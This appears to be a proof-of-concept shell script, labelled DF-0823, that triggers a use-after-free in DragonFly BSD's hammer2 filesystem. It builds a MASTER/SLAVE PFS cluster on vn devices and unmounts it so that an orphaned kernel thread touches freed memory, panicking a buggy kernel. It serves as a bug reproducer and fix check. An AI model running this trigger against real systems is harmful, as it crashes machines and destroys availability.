DF-0823 / trigger.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | #!/bin/sh # DF-0823 trigger: multi-chain hammer2 PFS umount UAF # # Creates a 2-chain hammer2 PFS (1 MASTER + 1 SLAVE), mounts both devices # so the SLAVE chain joins the MASTER's PMP (nchains=2, pfs_nmasters=1), # then unmounts. hammer2_xop_helper_cleanup stops only MASTER-indexed # threads (pfs_nmasters=1), kfree's xop_groups, leaving the SLAVE thread # running on freed heap. The orphan faults within seconds. # # Must run as root. Hammer2 multi-chain PFS setup requires root. # # Usage: ./trigger.sh # Expected on BUGGY kernel: kernel panic (fatal trap 12 page fault in # hammer2_primary_xops_thread) within ~10 seconds of the final umount. # Expected on FIXED kernel: clean exit 0, guest stays up. set -e IMG_A=/tmp/h2a.img IMG_B=/tmp/h2b.img VN_A=vn0 VN_B=vn1 MNT_DATA_A=/mnt/h2a MNT_DATA_B=/mnt/h2b MNT_CLUSTER=/mnt/test PFS_LABEL=testpfs IMG_SIZE=256 # MB cleanup() { umount -f ${MNT_CLUSTER} 2>/dev/null || true umount -f ${MNT_DATA_B} 2>/dev/null || true umount -f ${MNT_DATA_A} 2>/dev/null || true vnconfig -u ${VN_A} 2>/dev/null || true vnconfig -u ${VN_B} 2>/dev/null || true rm -f ${IMG_A} ${IMG_B} } trap cleanup EXIT # --- 1. Create two vn-backed hammer2 images --- echo "[*] Creating hammer2 images..." dd if=/dev/zero of=${IMG_A} bs=1m count=${IMG_SIZE} 2>&1 | tail -1 dd if=/dev/zero of=${IMG_B} bs=1m count=${IMG_SIZE} 2>&1 | tail -1 vnconfig -c ${VN_A} ${IMG_A} vnconfig -c ${VN_B} ${IMG_B} echo "[*] newfs_hammer2 both devices..." newfs_hammer2 /dev/${VN_A} 2>&1 | tail -1 newfs_hammer2 /dev/${VN_B} 2>&1 | tail -1 # --- 2. Create MASTER PFS on device A --- mkdir -p ${MNT_DATA_A} mount_hammer2 /dev/${VN_A}@DATA ${MNT_DATA_A} echo "[*] Creating MASTER PFS '${PFS_LABEL}' on /dev/${VN_A}..." hammer2 -s ${MNT_DATA_A} pfs-create ${PFS_LABEL} 2>&1 # Mount the MASTER PFS โ this creates the PMP with nchains=1 mkdir -p ${MNT_CLUSTER} mount_hammer2 /dev/${VN_A}@${PFS_LABEL} ${MNT_CLUSTER} echo "[*] MASTER PFS mounted at ${MNT_CLUSTER}" # Get the clid of the MASTER PFS (use pfs-list on the mounted PFS) CLID=$(hammer2 -s ${MNT_CLUSTER} pfs-list 2>&1 | grep "${PFS_LABEL}" | awk '{print $2}') echo "[*] MASTER clid: ${CLID}" if [ -z "${CLID}" ]; then echo "[!] Failed to extract clid โ aborting" exit 1 fi # --- 3. Create SLAVE PFS on device B with matching clid --- mkdir -p ${MNT_DATA_B} mount_hammer2 /dev/${VN_B}@DATA ${MNT_DATA_B} echo "[*] Creating SLAVE PFS '${PFS_LABEL}' on /dev/${VN_B} with matching clid..." # Note: hammer2 options (-t, -u, -s) must come BEFORE the command hammer2 -t slave -u ${CLID} -s ${MNT_DATA_B} pfs-create ${PFS_LABEL} 2>&1 # Verify the SLAVE PFS exists with matching clid (pfs-list, not info) echo "[*] Device B PFS list:" hammer2 -s ${MNT_DATA_B} pfs-list 2>&1 | grep "${PFS_LABEL}" || echo "(not shown in pfs-list yet)" # At this point, mounting vn1@DATA triggered hammer2_update_pmps which found # the SLAVE testpfs with matching clid and ADDED its chain to the existing # PMP. The cluster now has nchains=2 (MASTER+SLAVE), pfs_nmasters=1. # Do some I/O on the cluster to ensure XOP threads are created echo "[*] Triggering I/O to spin up XOP threads..." ls -la ${MNT_CLUSTER}/ 2>&1 || true echo "trigger" > ${MNT_CLUSTER}/testfile 2>&1 || true sync # --- 4. Unmount vn1@DATA โ SLAVE chain stays (mount_count > 0) --- echo "[*] Unmounting device B @DATA (SLAVE chain stays in PMP)..." umount ${MNT_DATA_B} # --- 5. Unmount the cluster PFS โ THIS TRIGGERS THE BUG --- # hammer2_xop_helper_cleanup iterates pfs_nmasters=1, stops thread[0] only. # kfree(xop_groups) frees backing memory while thread[1] (SLAVE) survives. # The orphan thread accesses freed heap โ panic within seconds. echo "[*] Unmounting cluster PFS (triggers cleanup loop mismatch)..." echo "[*] BUG: cleanup stops thread[0] only, kfree's xop_groups, thread[1] orphaned" umount ${MNT_CLUSTER} echo "[!] Umount complete. Waiting for orphan thread to access freed heap..." echo "[!] On BUGGY kernel: expect fatal trap 12 page fault within ~10s." sleep 15 echo "[*] Guest survived 15s post-umount โ no panic (FIXED kernel)." exit 0 |